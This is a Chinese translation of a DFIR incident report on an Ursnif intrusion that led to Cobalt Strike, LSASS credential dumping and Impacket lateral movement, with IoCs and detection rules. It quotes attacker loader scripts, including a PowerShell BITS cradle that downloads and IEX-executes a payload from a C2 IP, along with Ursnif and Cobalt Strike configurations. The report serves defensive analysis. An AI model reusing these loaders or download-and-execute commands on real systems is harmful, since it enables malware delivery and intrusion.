【DFIR报告翻译】打开来自Ursnifs的礼物
2023-1-19 10:3:11 Author: Desync InfoSec(查看原文) 阅读量:12 收藏

摘要
SUMMARY

我们在2022年8月收到一起Ursnif恶意软件引发的入侵事件。攻击者部署Cobalt Strike并使用管理员用户在网络中进行横向移动。

Ursnif 恶意软件家族(通常也称为 Gozi 或 ISFB)是当今仍然活跃的最古老的银行木马之一。它有广泛的代码分支和演变历史,在过去 5 年中产生了几个活跃的变体,包括 Dreambot、IAP、RM2、RM3 和最近的 LDR4。在本文中我们使用Ursnifs这个名称,推荐阅读Mandiant关于LDR4的文章

技术汇总
2

在本案例中,攻击者投递包含Ursnif恶意软件的ISO文件,该恶意软件展示了一个有趣的执行流程,其中包括使用 rundll32.exe的重命名副本。一旦执行,恶意软件就会在失陷主机上进行信息收集,正如我们在 IcedID 等其他加载程序中观察到的那样。该恶意软件还通过创建注册表"Run Key"在主机上进行权限维持。

大约过了4天,攻击者开始手动执行一些操作,使用BITS工具下载Cobalt Strike载荷,使用内置的 Windows 命令(如 ipconfig、systeminfo、net 和 ping)在主机上运行一些信息收集。不久之后,攻击者注入了各种进程,然后窃取主机上的 lsass 内存中存储的登录凭证。

使用从内存中提取的凭据,攻击者开始横向移动。他们以域控为目标,将远程管理工具 Atera 和 Splashtop 的 msi 安装程序,以及 Cobalt Strike 可执行程序通过SMB传输到域控,并使用 Impacket 的 wmiexec.py 在远程主机上执行安装程序和Cobalt Strike载荷。

在成功获取到域控的Cobalt Strike会话后,攻击者执行了第二轮内网信息收集并转储域控上的LSASS进程存储的登录凭证。最后,他们删除了一个名为 adcomp.bat 的脚本,该脚本执行 PowerShell 命令以收集 Windows 域中计算机上的数据。

第二天,攻击者通过 Cobalt Strike 访问跳板机主机,直到当天快结束时,攻击者通过 Cobalt Strike 启动代理 RDP 连接到域控,开始横向移动到内网其他主机上。

攻击者登录了一台备份服务器,并查看服务器中运行的进程和文件。最终攻击者被逐出网络。

时间线

Note:
分析和报告由@_pete_0、@svch0st 和 UC1 完成。
边界突破
入侵路径分析
本案例中,Ursnif是通过现在非常流行的ISO文件进行投递的。我们多次发现过这类攻击引发的入侵事件:
  • Quantum 勒索软件

  • 从BumbleBee到域管理员

  • BumbleBee: 第二回合

  • Diavol 勒索软件

如以往相同,我们可以在Windows的日志Microsoft-Windows-VHDMP-Operational.evtx文件中发现虚拟磁盘的挂在记录。在本案例中,用户下载保存了3488164.iso文件,并且挂载了它。

挂载之后,可以看到目录下包括一个名为6570872.lnk的快捷方式和隐藏文件夹me

我们可以使用LECmd查看lnk文件的详细信息。

在me文件夹中包括几个用于执行 Ursnif 的文件和文件夹。有趣的是,该文件夹包含 rundll32.exe(重命名为 123.com)的合法副本。

以下是ISO文件中包含的文件和目录清单

文件名

作用

6570872.lnk

快捷方式用于执行 alsoOne.bat

me/by

空文件夹

me/here

空文件夹

me/123.com

rundll32.exe的重命名文件

me/alsoOne.bat

指定参数运行canWell.js脚本

me/canWell.js

将参数字符串进行解码并调用123.com执行tslt.db

me/itslt.db

Ursnif DLL

or.jpg

未使用的图片文件

执行
入侵路径分析

一旦用户挂载了 ISO 并且用户执行了 LNK 文件,复杂的执行流程就开始了。

Ursnif Malware

如边界突破章节所述,LNK 文件将执行批处理脚本 alsoOne.bat 。该脚本调用同一目录中的 JavaScript 文件 canWell.js 并提供一些字符串作为参数。

alsoOne.bat

set %params%=hellome\canWell.js hello cexe lldnur revreSretsigeRllD

canWell.js

/**    WhnldGh*/function reverseString(str){    var splitString = str.split("");    var reverseArray = splitString.reverse();    var joinArray = reverseArray.join("");    return joinArray;}function ar(id){    r = WScript.Arguments(id);    return r;}var sh = WScript.CreateObject("WScript.Shell");sh[reverseString(ar(1))]("me\\123.com me/itsIt.db,"+reverseString(a

然后使用 wscript.exe 执行 JS 文件并使用提供的命令行参数,该参数使用 WScript.Shell.Exec() 创建并执行以下命令:

me/123.com me/itsIt.db,DllRegisterServer

通过SRUM数据库,我们得知123.com二进制文件下载了大约 0.4 MB 的数据到失陷主机中。

执行恶意软件后,explorer的父进程会使用以下命令启动 MSHTA:

"C:\Windows\System32\mshta.exe" "about:"

这仅仅一行的命令,创建了一个新的ActiveX对象,调用eval()执行存储在注册表键值“ActiveDevice”中的代码:

注册表中的代码调用了另一个ActiveX 对象来运行 PowerShell 命令。此命令创建了常见默认 PowerShell 别名 gp (Get-ItemProperty) 和 iex (Invoke-Expression) 。这两个新别名用于获取和执行另一个注册表值“MemoryJunk”中的内容:

Ahgvof=new ActiveXObject('WScript.Shell');Ahgvof.Run('powershell new-alias -name qirlbtfhgo -value gp; new-alias -name kvikpt -value iex; kvikpt ([System.Text.Encoding]::ASCII.GetString((qirlbtfhgo "HKCU:\Software\\AppDataLow\\Software\\Microsoft\\472A62F9-FA62-1196-3C6B-CED530CFE2D9").MemoryJunk))',0,0);

分析师注释:在分析过程中,当我们在沙箱中运行Payload时,注册表值的名称发生了变化,因此怀疑是在执行时随机生成的。

最后一个注册表项用于存储PowerShell 代码。该脚本调用 QueueUserAPC、GetCurrentThreadId、OpenThread 和 VirtualAlloc 的组合来执行存储在 Base64 中的 shellcode 的进程注入。

执行 Add-Type cmdlet 时,PowerShell 会调用 C# 编译器 csc.exe 来编译这段代码,此时会在 %APPDATA%\Local\Temp 中产生临时文件。

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /noconfig /fullpaths @"C:\Users\\AppData\Local\Temp\npfdesjp\npfdesjp.cmdline"

最后,explorer进程执行了以下独特的命令,但看上去并没有什么实际作用

"C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,

以上命令执行 的 sigma 规则可以在本报告的检测部分找到。

此时,距离用户首次打开恶意软件还不到一分钟。一旦恶意软件在主机上建立起来,恶意活动就会开始进行一些有限的攻击活动。直到大约 3 天后。那是我们观察到攻击者开始手动执行攻击活动。

Cobalt Strike

通过运行以下命令的 explorer.exe 启动了一个 cmd.exe 实例:

powershell.exe  -nop -c "start-job { param($a) Import-Module BitsTransfer; $d = $env:temp + '\' + [System.IO.Path]::GetRandomFileName(); Start-BitsTransfer -Source 'hxxp://193.201.9.199:80/a’ -Destination $d; $t = [IO.File]::ReadAllText($d); Remove-Item $d; IEX $t } -Argument 0 | wait-job | Receive-Job"

分析师注释:众所周知,Ursnif 具有类似 VNC 的功能。这个 explorer.exe ➝ cmd.exe 会话可能是通过 VNC 会话进行的。

此 PowerShell 命令启动了一个 BITS 进程,以从 193.201.9[.]199 下载 Cobalt Strike 载荷,并将其以随机名称保存到 %TEMP%。然后它将文件读入一个变量,并在使用 IEX 执行内容之前将其删除。事件日志 Microsoft-Windows-Bits-Client%254Operational.evtx 证实了此活动:

此事件之后的活动清楚地表明了攻击者手动执行发现。

权限维持
入侵路径分析

Ursnif在失陷主机中运行后,通过创建一个名为 ManagerText 的“Run”键来实现权限维持,该键被配置为执行一个执行 PowerShell 脚本的 LNK 文件。

窃取凭证
入侵路径分析

我们观察到 Cobalt Strike 访问 lsass.exe 创建的进程。将内存访问权限设置为GrantedAccess:0x1010权限是 Mimikatz 等工具的已知特征。这个行为在跳板机和域控上都有发现。

LogName=Microsoft-Windows-Sysmon/Operational
EventCode=10
EventType=4
ComputerName=
User=SYSTEM
Sid=S-1-5-18
SidType=1
SourceName=Microsoft-Windows-Sysmon
Type=Information
RecordNumber=765707
Keywords=None
TaskCategory=Process accessed (rule: ProcessAccess)
OpCode=Info
Message=Process accessed:
RuleName: technique_id=T1003,technique_name=Credential Dumping
UtcTime:
SourceProcessGUID: {aaadb608-97b2-630c-6750-000000000400}
SourceProcessId: 4768
SourceThreadId: 4248
SourceImage: C:\Windows\system32\rundll32.exe
TargetProcessGUID: {aaadb608-45a2-62fc-0c00-000000000400}
TargetProcessId: 672
TargetImage: C:\Windows\system32\lsass.exe
GrantedAccess: 0x1010
CallTrace: C:\Windows\SYSTEM32\ntdll.dll+9fc24|C:\Windows\System32\KERNELBASE.dll+20d0e|UNKNOWN(000002AA74CFD95C)

内网探测
入侵路径分析

与其他恶意软件类似,Ursnif 运行了许多自动发现命令来获取有关环境的信息。执行了以下命令并将命令执行结果保存在用户的 %APPDATA%\Local\Temp\ 中

cmd /C "wmic computersystem get domain |more > C:\Users\\AppData\Local\Temp\BD2C.bin1"
cmd /C "echo -------- >> C:\Users\\AppData\Local\Temp\BD2C.bin1"
cmd /C "systeminfo.exe > C:\Users\\AppData\Local\Temp\BD2C.bin1"
cmd /C "echo -------- >> C:\Users\\AppData\Local\Temp\BD2C.bin1"
cmd /C "net view >> C:\Users\\AppData\Local\Temp\BD2C.bin1"
cmd /C "echo -------- >> C:\Users\\AppData\Local\Temp\BD2C.bin1"
cmd /C "nslookup 127.0.0.1 >> C:\Users\\AppData\Local\Temp\BD2C.bin1"
cmd /C "echo -------- >> C:\Users\\AppData\Local\Temp\BD2C.bin1"
cmd /C "tasklist.exe /SVC >> C:\Users\\AppData\Local\Temp\BD2C.bin1"
cmd /C "echo -------- >> C:\Users\\AppData\Local\Temp\BD2C.bin1"
cmd /C "driverquery.exe >> C:\Users\\AppData\Local\Temp\BD2C.bin1"
cmd /C "echo -------- >> C:\Users\\AppData\Local\Temp\BD2C.bin1"
cmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\\AppData\Local\Temp\BD2C.bin1"
cmd /C "nltest /domain_trusts >> C:\Users\\AppData\Local\Temp\BD2C.bin1"
cmd /C "echo -------- >> C:\Users\\AppData\Local\Temp\BD2C.bin1"
cmd /C "net config workstation >> C:\Users\\AppData\Local\Temp\BD2C.bin1"
cmd /C "echo -------- >> C:\Users\\AppData\Local\Temp\BD2C.bin1"
cmd /C "nltest /domain_trusts >> C:\Users\\AppData\Local\Temp\BD2C.bin1"
cmd /C "echo -------- >> C:\Users\\AppData\Local\Temp\BD2C.bin1"
cmd /C "nltest /domain_trusts /all_trusts >> C:\Users\\AppData\Local\Temp\BD2C.bin1"
cmd /C "echo -------- >> C:\Users\\AppData\Local\Temp\BD2C.bin1"
cmd /C "net view /all /domain >> C:\Users\\AppData\Local\Temp\BD2C.bin1"
cmd /C "echo -------- >> C:\Users\\AppData\Local\Temp\BD2C.bin1"
cmd /C "net view /all >> C:\Users\\AppData\Local\Temp\BD2C.bin1"
cmd /C "echo -------- >> C:\Users\\AppData\Local\Temp\BD2C.bin1"

攻击者在跳板机主机上通过 Cobalt Strike运行以下命令:

whoami
whoami  /groups
time
ipconfig /all
systeminfo

攻击者很快对一个支持账户产生了兴趣。此帐户属于域管理员组。

net user

攻击者还使用批处理脚本收集域中所有计算机对象的列表,使用 C:\Windows\system32\cmd.exe /C adcomp.bat,其中包含 PowerShell 命令:

powershell Get-ADComputer -Filter * -Properties Name,Operatingsystem, OperatingSystemVersion, OperatingSystemServicePack,IPv4Address >> log2.txt

攻击者被驱逐出网络前,攻击者与网络上各种主机进行 RDP 连接,通过任务管理器检查被访问主机上的运行进程,这些进程是通过他们的交互式 RDP 会话启动的,如 /4 所指出的 命令行参数

C:\Windows\system32\taskmgr.exe /4

横向移动
入侵路径分析

攻击者利用 Impacket 的 wmiexec.py通过半交互式 shell 执行命令WMI 访问域控。登录凭证极有可能来自于之前读取的LSASS进程内存。

执行的命令包括目录遍历、主机发现和在 域控上执行工具。

相关进程调用链如下:

命令中的参数作用如下:

‘Q’表示关闭回显

‘C’表示命令执行后停止进程

127.0.0.1和ADMIN$表示C:\Windows

‘2>&1’表示将错误信息重定向到文件中

此命令行非常接近 Fortra 维护的 Impacket 工具的一部分——wmiexec.py 的执行动作,由于 Impacket 通过 DCERPC 或WMI 进行交互,因此可以检查网络级数据包:

CISA 最近在报告 AA22-277A 中详细介绍了攻击者对 Impacket 的使用——用于从国防工业基地组织窃取敏感信息的 Impacket 和渗透工具。

这种情况下的 Impacket 进程层次结构可以可视化为:

在网络侧,命令由 DCOM/RPC 端口 135 发出,SMB 使用端口 445 进行响应。我们可以观察到通过 DCERPC 从一个端点到基于端口的目标端点的许多 WMI 请求。

将网络活动与主机活动相关联可确认“Powershell.exe”进程启动了 WMI 请求。

目标端口在临时端口范围 49152–65535 内,适用于短暂的、基于时间的通信 ,由RFC 6335定义。

13Cubed(理查德戴维斯)还发布了一个惊人的资源来调查 Impacket 相关事件:https://www.13cubed.com/downloads/impacket_exec_commands_cheat_sheet_poster.pdf

观察到的通过 WMI 调用的命令之一是“firefox.exe”。它被投递在域控上并产生了许多进程,表明攻击者手动执行了一些操作。

这个进程产生了大量到 193.201.9[.]199 的网络连接,平均每小时的上行流量约6K,相当于在整个入侵期间上行连接超过 150K。

在入侵的最后两天,攻击者还使用 RDP 从域控上的CobaltStrike进程firefox.exe的代理流量连接到各种主机。

远程控制
入侵路径分析

Ursnif 使用了以下域名和IP

5.42.199.83
superliner.top
    62.173.149.7
internetlines.in
    31.41.44.97
superstarts.top
    31.41.44.27   
superlinez.top
    31.41.44.27   
internetlined.com
    208.91.197.91
denterdrigx.com:
    187.190.48.135
    210.92.250.133
    189.143.170.233
    201.103.222.246
    151.251.24.5
    190.147.189.122
    115.88.24.202
    211.40.39.251
    187.195.146.2
    186.182.55.44
    222.232.238.243
    211.119.84.111
    51.211.212.188
    203.91.116.53
    115.88.24.203
    190.117.75.91
    181.197.121.228
    190.167.61.79
    109.102.255.230
    211.119.84.112
    190.107.133.19
    185.95.186.58
    175.120.254.9
    46.194.108.30
    190.225.159.63
    190.140.74.43
    187.156.56.52
    195.158.3.162
    138.36.3.134
    109.98.58.98
    24.232.210.245
    222.236.49.123
    175.126.109.15
    124.109.61.160
    95.107.163.44
    93.152.141.65
    5.204.145.65
    116.121.62.237
    31.166.129.162
    222.236.49.124
    211.171.233.129
    211.171.233.126
    211.53.230.67
    196.200.111.5
    190.219.54.242
    190.167.100.154
    110.14.121.125
    58.235.189.192
    37.34.248.24
    110.14.121.123
    179.53.93.16
    175.119.10.231
    211.59.14.90
    188.48.64.249
    187.232.150.225
    186.7.85.71
    148.255.20.4
    91.139.196.113
    41.41.255.235
    31.167.236.174
    189.165.2.131
    1.248.122.240

我们也观察到Ursnif从以下IP上下载其他模块:

193.106.191.186
  3db94cf953886aeb630f1ae616a2ec25  cook32.rar
  d99cc31f3415a1337e57b8289ac5011e  cook64.rar
  a1f634f177f73f112b5356b8ee04ad19  stilak32.rar
  8ea6ad3b1acb9e7b2e64d08411af3c9a  stilak64.rar
  0c5862717f00f28473c39b9cba2953f4  vnc32.rar
  ce77f575cc4406b76c68475cb3693e14  vnc64.rar

JoeSandbox 报告样本有以下配置:

{
  "RSA Public Key": "WzgHg0uTPZvhLtnG19qpIk+GmHzcoxkfTefSu6gst5n3mxnOBivzR4MH4a6Ax7hZ5fgcuPGt3NKKPbYTwmknjD2zYXaAp3+wR0kAZI+LVG1CUiDgK2lhHKV91eobjLR/Z/RtHa+MZM10+zZoBGCk+VjMy7gWkzoCrrhs6/Bft/lYT9NzAGBQ4ZZgJTkXW4tVgEQiGmoc7Ta1/NqrbaQBEciYTW7E4egMKHQeGNrjd94u5PZha7GgX7aseTe7/68QIz2hc7Xl2gtUGQYYVqKgGpKjKrQT5jpYbcjLE+VoRjcWucFAPAfIryWH1A4T+PbO5+eHGGCIM/fAuYU/58JZn0HUmtKm9wHYCUJ/uGotKAI=",
  "c2_domain": [
    "superliner.top",
    "superlinez.top",
    "internetlined.com",
    "internetlines.in",
    "medialists.su",
    "medialists.ru",
    "mediawagi.info",
    "mediawagi.ru",
    "5.42.199.83",
    "denterdrigx.com",
    "и",
    "digserchx.at"
  ],
  "ip_check_url": [
    "http://ipinfo.io/ip",
    "http://curlmyip.net"
  ],
  "serpent_key": "Jv1GYc8A8hCBIeVD",
  "tor32_dll": "file://c:\\test\\test32.dll",
  "tor64_dll": "file://c:\\test\\tor64.dll",
  "server": "50",
  "sleep_time": "1",
  "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60",
  "time_value": "60",
  "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60",
  "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300",
  "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60",
  "not_use(CRC_BCTIMEOUT)": "10",
  "botnet": "3000",
  "SetWaitableTimer_value": "1"
}

通过电子邮件 [email protected] 或组织 Rus Lak 对在 WHOIS 中注册的域名进行关联,可以发现许多与此次入侵中相似的域名。

Cobalt Strike

在入侵过程中观察到以下Cobalt Strike的C2通信:

193.201.9.199:443
JA3: 72a589da586844d7f0818ce684948eea
JA3s: f176ba63b4d68e576b5ba345bec2c7b7
Certificate: [6e:ce:5e:ce:41:92:68:3d:2d:84:e2:5b:0b:a7:e0:4f:9c:b7:eb:7c]
Not Before: 2015/05/20 18:26:24 UTC
Not After: 2025/05/17 18:26:24 UTC
Issuer Org:
Subject Common:
Subject Org:
Public Algorithm: rsaEncryption

Cobalt Strike配置如下:

{
  "spawnto": "AAAAAAAAAAAAAAAAAAAAAA==",
  "pipename": null,
  "dns_beacon": {
    "put_metadata": null,
    "get_TXT": null,
    "get_AAAA": null,
    "get_A": null,
    "beacon": null,
    "maxdns": null,
    "dns_sleep": null,
    "put_output": null,
    "dns_idle": null
  },
  "smb_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
  "post_ex": {
    "spawnto_x64": "%windir%\\sysnative\\rundll32.exe",
    "spawnto_x86": "%windir%\\syswow64\\rundll32.exe"
  },
  "stage": {
    "cleanup": "false"
  },
  "process_inject": {
    "stub": "IiuPJ9vfuo3dVZ7son6mSA==",
    "transform_x64": [],
    "transform_x86": [],
    "startrwx": "true",
    "min_alloc": "0",
    "userwx": "true",
    "execute": [
      "CreateThread",
      "SetThreadContext",
      "CreateRemoteThread",
      "RtlCreateUserThread"
    ],
    "allocator": "VirtualAllocEx"
  },
  "uses_cookies": "true",
  "http_post_chunk": "0",
  "ssh": {
    "privatekey": null,
    "username": null,
    "password": null,
    "port": null,
    "hostname": null
  },
  "useragent_header": null,
  "maxgetsize": "1048576",
  "proxy": {
    "behavior": "Use IE settings",
    "password": null,
    "username": null,
    "type": null
  },
  "tcp_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
  "server": {
    "publickey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCnCZHWnYFqYB/6gJdkc4MPDTtBJ20nkEAd3tsY4tPKs8MV4yIjJb5CtlrbKHjzP1oD/1AQsj6EKlEMFIKtakLx5+VybrMYE+dDdkDteHmVX0AeFyw001FyQVlt1B+OSNPRscKI5sh1L/ZdwnrMy6S6nNbQ5N5hls6k2kgNO5nQ7QIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==",
    "port": "443",
    "hostname": "193.201.9.199"
  },
  "beacontype": [
    "HTTPS"
  ],
  "kill_date": null,
  "license_id": "1580103824",
  "jitter": "0",
  "sleeptime": "60000",
  "http_get": {
    "server": {
      "output": [
        "print"
      ]
    },
    "client": {
      "metadata": [],
      "headers": []
    },
    "verb": "GET",
    "uri": "/__utm.gif"
  },
  "cfg_caution": "false",
  "host_header": "",
  "crypto_scheme": "0",
  "http_post": {
    "client": {
      "output": [],
      "id": [],
      "headers": []
    },
    "verb": "POST",
    "uri": "/submit.php"
  }
}

查看SSL通信使用的证书,发现它是 Cobalt Strike 的默认 SSL 证书83cd09b0f73c909bfc14883163a649e1d207df22。

Atera & SplashTop

虽然攻击者安装了这些代理工具,但并没有观察到这些工具的任何活动。

窃取数据
入侵路径分析

在已识别的域 denterdrigx[.]com、superliner[.]top 和 5.42.199[.]83 上观察到多个 伪装成图像上传的HTTP Post 事件,

User-Agent为“Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)”是IE浏览器8.0版本使用的UA,与失陷主机并不匹配。

POST请求包含文件上传行为:

HTTP流中包含例如一下内容:

上传的文件 775E.bin 是被进程注入的“Explorer.exe”进程从文件夹“\Users\\AppData\Local\Temp”中删除的。

可以使用“ET MALWARE Ursnif Variant CnC Data Exfil 和 ET MALWARE Ursnif Variant CnC Beacon。”网络规则检测渗透活动和C2通信。在此案例中,可以看到规则被触发的情况:

达成目标
入侵路径分析

攻击者使用他们获得的管理员凭据通过 RDP 连接到备份服务器。在 Microsoft-Windows-TerminalServices-LocalSessionManager/Operational 的日志中,我们能够确定攻击者在断开其 RDP 会话之前在备份服务器上花费了大约 10 分钟。这样,我们发现了RDP客户端的PC的名称:WIN-RRRU9REOK18。

LogName=Security
EventCode=4624
EventType=0
ComputerName=
SourceName=Microsoft Windows security auditing.
Type=Information
RecordNumber=300297
Keywords=Audit Success
TaskCategory=Logon
OpCode=Info
Message=An account was successfully logged on.

Logon Information:
    Logon Type:        3
    Restricted Admin Mode:    -
    Virtual Account:        No
    Elevated Token:        Yes
Network Information:
    Workstation Name:    WIN-RRRU9REOK18
    Source Network Address:   


    Source Port:        0
Detailed Authentication Information:
    Logon Process:        NtLmSsp
    Authentication Package:    NTLM
    Transited Services:    -
    Package Name (NTLM only):    NTLM V2

在那段时间里,威胁者进行了多次键盘操作;这包括在备份控制台中查看备份、检查正在运行的任务以及使用记事本粘贴以下内容。

进程执行命令:

C:\Program Files\[redacted]\Console\[redacted].exe
"C:\Windows\system32\taskmgr.exe" /4
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\USER\Desktop\New Text Document.txt

Sysmon的剪切板日志:

user: DOMAIN\USER ip: 127.0.0.1 hostname: WIN-RRRU9REOK18

IoCs
INDICATORS OF COMPROMISE
网络侧

RDP Client Name:
WIN-RRRU9REOK18

Ursnif Domains:
denterdrigx.com
superliner.top
internetlines.in
superstarts.top
superlinez.top
internetlined.com

Ursnif IPs:
62.173.149.7
31.41.44.97
5.42.199.83
31.41.44.27   
208.91.197.91
187.190.48.135
210.92.250.133
189.143.170.233
201.103.222.246
151.251.24.5
190.147.189.122
115.88.24.202
211.40.39.251
187.195.146.2
186.182.55.44
222.232.238.243
211.119.84.111
51.211.212.188
203.91.116.53
115.88.24.203
190.117.75.91
181.197.121.228
190.167.61.79
109.102.255.230
211.119.84.112
190.107.133.19
185.95.186.58
175.120.254.9
46.194.108.30
190.225.159.63
190.140.74.43
187.156.56.52
195.158.3.162
138.36.3.134
109.98.58.98
24.232.210.245
222.236.49.123
175.126.109.15
124.109.61.160
95.107.163.44
93.152.141.65
5.204.145.65
116.121.62.237
31.166.129.162
222.236.49.124
211.171.233.129
211.171.233.126
211.53.230.67
196.200.111.5
190.219.54.242
190.167.100.154
110.14.121.125
58.235.189.192
37.34.248.24
110.14.121.123
179.53.93.16
175.119.10.231
211.59.14.90
188.48.64.249
187.232.150.225
186.7.85.71
148.255.20.4
91.139.196.113
41.41.255.235
31.167.236.174
189.165.2.131
1.248.122.240
193.106.191.186

Cobalt Strike:
193.201.9.199

主机侧

123.com
d0432468fa4b7f66166c430e1334dbda
f72d978f4d1ca1c435b1164e7617464cc06a9381
7d99c80a1249a1ec9af0f3047c855778b06ea57e11943a271071985afe09e6c2

3488164.iso
f7d85c971e9604cc6d2a2ffcac1ee4a3
67175143196c17f10776bdf5fbf832e50a646824
e999890ce5eb5b456563650145308ae837d940e38aec50d2f02670671d472b99

6570872.lnk
c6b605a120e0d3f3cbd146bdbc358834
328afa8338d60202d55191912eea6151f80956d3
16323b3e56a0cbbba742b8d0af8519f53a78c13f9b3473352fcce2d28660cb37

adcomp.bat
eb2335e887875619b24b9c48396d4d48
b658ab9ac2453cde5ca82be667040ac94bfcbe2e
4aa4ee8efcf68441808d0055c26a24e5b8f32de89c6a7a0d9b742cce588213ed

alsoOne.bat
c03f5e2bc4f2307f6ee68675d2026c82
4ce65da98f0fd0fc4372b97b3e6f8fbeec32deb3
6a9b7c289d7338760dd38d42a9e61d155ae906c14e80a1fed2ec62a4327a4f71

canWell.js
6bb867e53c46aa55a3ae92e425c6df91
6d4f1a9658baccd2e406454b2ad40ca2353916ab
5b51bd2518ad4b9353898ed329f1b2b60f72142f90cd7e37ee42579ee1b645be

firefox.exe
6a4356bd2b70f7bd4a3a1f0e0bfec9a4
485a179756ff9586587f8728e173e7df83b1ffc3
6c5338d84c208b37a4ec5e13baf6e1906bd9669e18006530bf541e1d466ba819

itsIt.db
60375d64a9a496e220b6eb1b63e899b3
d1b2dd93026b83672118940df78a41e2ee02be80
8e570e32acb99abfd0daf62cff13a09eb694ebfa633a365d224aefc6449f97de

or.jpg
60ca7723edd4f3a0561ea9d3a42f82b4
87b699122dacf3235303a48c74fa2b7a75397c6b
bbcceb987c01024d596c28712e429571f5758f67ba12ccfcae197aadb8ab8051

cook32.rar
3db94cf953886aeb630f1ae616a2ec25
743128253f1df9e0b8ee296cfec17e5fc614f98d
1cdbf7c8a45b753bb5c2ea1c9fb2e53377d07a3c84eb29a1b15cdc140837f654

cook64.rar
d99cc31f3415a1337e57b8289ac5011e
f67ce90f66f6721c3eea30581334457d6da23aac
b94810947c33a0a0dcd79743a8db049b8e45e73ca25c9bfbf4bfed364715791b

stilak32.rar
a1f634f177f73f112b5356b8ee04ad19
7c82b558a691834caf978621f288af0449400e03
c77ea4ad228ecad750fb7d4404adc06d7a28dbb6a5e0cf1448c694d692598f4f

stilak64.rar
8ea6ad3b1acb9e7b2e64d08411af3c9a
7c04c4567b77981d0d97d8c2eb4ebd1a24053f48
dfdfd0a339fe03549b2475811b106866d035954e9bc002f20b0f69e0f986838f

vnc32.rar
0c5862717f00f28473c39b9cba2953f4
25832c23319fcfe92cde3d443cc731ac056a964a
7ebd70819a79be55d4c92c66e74e90e3309ec977934920aee22cd8d922808c9d

vnc64.rar
ce77f575cc4406b76c68475cb3693e14
80fdc4712ae450cfa41a37a24ce0129eff469fb7
f02dc60872f5a9c2fcc9beb05294b57ad8a4a9cef0161ebe008

网络侧

Potential Impacket wmiexec.py activity

ET MALWARE Ursnif Variant CnC Beacon
ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F)
ET INFO HTTP Request to a *.top domain
ET DNS Query to a *.top domain - Likely Hostile
ET MALWARE Ursnif Variant CnC Data Exfil
ET INFO Dotted Quad Host RAR Request
ET MALWARE Meterpreter or Other Reverse Shell SSL Cert
ET HUNTING Suspicious Empty SSL Certificate - Observed in Cobalt Strike
ET POLICY RDP connection confirm
ET POLICY MS Remote Desktop Administrator Login Request
ET MALWARE Ursnif Variant CnC Beacon 3
ET MALWARE Ursnif Payload Request (cook32.rar)
ET MALWARE Ursnif Payload Request (cook64.rar)
ET INFO Splashtop Domain (splashtop .com) in TLS SNI
ET INFO Splashtop Domain in DNS Lookup (splashtop .com)

Sigma

https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/rules/windows/process_creation/proc_creation_win_driverquery_lookup.yml

https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/rules/windows/process_creation/proc_creation_win_mshta.yml

https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/rules/windows/process_creation/proc_creation_win_nslookup_local.yml

https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/rules/windows/process_creation/proc_creation_win_system_time_lookup.yml

https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/rules/windows/process_creation/proc_creation_win_ursnif_loader.yml

https://github.com/SigmaHQ/sigma/blob/b5e783a6d5f2ea0a77f68fb646bfb1b2304e3996/rules/windows/process_creation/proc_creation_win_lolbin_not_from_c_drive.yml

https://github.com/SigmaHQ/sigma/blob/1f8e37351e7c5d89ce7808391edaef34bd8db6c0/rules/windows/process_creation/proc_creation_win_susp_lolbin_non_c_drive.yml

https://github.com/SigmaHQ/sigma/blob/a674ee246bd02271f5e46d00010320112c9df17c/rules/windows/process_creation/proc_creation_win_wmic_computersystem_recon.yml

https://github.com/SigmaHQ/sigma/blob/1f8e37351e7c5d89ce7808391edaef34bd8db6c0/rules/windows/process_creation/proc_creation_win_susp_systeminfo.yml

https://github.com/SigmaHQ/sigma/blob/017287804cae36c869f38a7f5671a7501e33178f/rules/windows/pipe_created/pipe_created_mal_cobaltstrike.yml

https://github.com/SigmaHQ/sigma/blob/0db8a8b54d54b52c139f9f7d5c261400d228f54b/rules/windows/process_access/proc_access_win_susp_proc_access_lsass_susp_source.yml

https://github.com/SigmaHQ/sigma/blob/fac67328275e58413f299ed4f69219ff40803d70/rules/windows/file/file_event/file_event_win_wmiexec_default_filename.yml

https://github.com/SigmaHQ/sigma/blob/62347bcc80159f1e868a44c80759e85326875b79/rules/windows/process_creation/proc_creation_win_impacket_lateralization.yml

https://github.com/The-DFIR-Report/Sigma-Rules/blob/c253c57c627b6d8cbcfa06320a3ad1ba2b9dedd4/win_software_splashtop.yml

https://github.com/The-DFIR-Report/Sigma-Rules/blob/c253c57c627b6d8cbcfa06320a3ad1ba2b9dedd4/win_network_splashtop.yml

https://github.com/SigmaHQ/sigma/blob/7804decd2db84dd1d022801e782d84eca7ecff72/rules/windows/powershell/powershell_script/posh_ps_get_adcomputer.yml

